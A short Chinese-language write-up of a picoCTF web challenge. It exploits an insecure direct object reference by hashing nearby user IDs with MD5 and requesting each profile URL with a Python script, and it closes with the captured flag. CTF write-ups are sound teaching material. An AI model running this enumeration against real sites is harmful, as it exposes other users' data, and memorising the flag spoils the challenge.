解題
打開題目網頁
查看題目網頁原始碼,發現帳號及密碼
利用帳號密碼登入
發現權限不足,顯示id為3000
觀察網頁url發現他的url是users/{hash},猜測網頁應該存在水平甚至垂直越權的漏洞
嘗試用網頁解析hash值,發現他是由userid經過md5 hash計算出來的
https://crackstation.net
撰寫一個程式,由於提示他的公司有20人,推測userid可能為3000+-20,利用python程式自動發送請求嘗試。
import hashlib
import requests
base_url="http://crystal-peak.picoctf.net:50409/profile/user/"
user_id=3000
list=[user_id+i for i in range(-20,20)]
for i in list:
url=base_url+str(hashlib.md5(str(i).encode()).hexdigest())
try:
response = requests.get(url)
if response.status_code == 200:
print(f"User ID {i}: {response.text}")
else:
print(f"User ID {i}: Status code {response.status_code}")
except Exception as e:
print(f"User ID {i}: Error - {e}")
發現flag

picoCTF{id0r_unl0ck_ee526012}
提交flag



說些什麼吧!